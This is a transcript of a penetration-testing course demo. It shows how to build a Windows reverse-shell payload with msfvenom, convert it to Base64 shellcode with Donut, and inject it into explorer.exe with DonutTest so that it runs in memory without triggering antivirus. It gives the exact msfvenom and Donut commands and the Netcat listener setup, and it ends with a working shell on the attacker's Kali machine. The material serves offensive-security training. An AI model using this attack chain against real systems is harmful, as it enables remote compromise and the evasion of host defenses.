In this demo,
we're going to use Donut to inject malicious code into a running process.
We'll generate the necessary shellcode using Donut from our payload executable.
Then we'll transfer it to our target and use the built‑in DonutTest
to inject the code into a process on our target.
Using these features allows you to execute malicious code
in memory by exploiting vulnerabilities in the native API
and evade defenses on the host.
Let's head over to the lab and get started by generating our payload.
For this demo,
we'll use Venom to generate a simple executable that sets up a
reverse shell back to our Kali Linux machine.
I have another course on MSFVenom's capabilities if you're
interested in understanding what all these options do.
For now,
you can just enter this command to generate a simple
payload as a standalone executable,
msfvenom ‑p windows/x64/shell_reverse_tcp LHOST=,
followed by the IP address of your Kali Linux machine,
LPORT=4444 ‑f exe ‑o payload.exe.
Once that is generated, we can copy it to the same payloads
directory where our server is running.
Now we will use Donut to generate shellcode from the payload. For
this payload, we'll use 64‑bit architecture,
the default bypass level, and set our output to Base64. To
accomplish this, we run donut ‑a 2 ‑b 3 ‑f 2 and set our file to
the payload we generated in the previous step.
This will generate a file using the default name loader
followed by our format extension for Base64.
Now we need to copy that file to our payload directory and rename it venom.b64.
Now one last step on our Kali machine. We need to set up our Netcat
listener to listen for the incoming connection on port 4444.
All right, now we're ready to move our file to our target and inject
using DonutTest, which we moved over in the last demo.
Let's head over to the target.
We can see our staged files in our web browser.
Just to test, let's try to download the payload.exe
file first and see what happens.
Our payload.exe file is tagged immediately as suspicious.
Let's try our shellcode instead.
Great! Now we can open this file and copy our code.
We can use Visual Studio Code to open the DonutTest
program and add our shellcode.
All we have to do is paste our shellcode into this x64 string.
We'll want to use this same application later, so let's go
ahead and save this as a different file.
I'll call it test. Now we're ready to compile it.
We can use the same process using csc.exe we used in the last demo.
Explorer should still have the same process ID of 3092.
We can use ProcMgr and search by name for explorer using ‑‑name explorer,
and we see it's still running with the same ID, 3092.
So, let's go ahead and execute our new program.
We get the same output indicating a successful injection.
Let's check in on our Kali machine and see if we have a
shell. And we have our connection.
We successfully used Donut to create the shellcode and
used DonutTest to inject our payload.
This allowed us to execute our payload.exe file
without it being flagged by antivirus.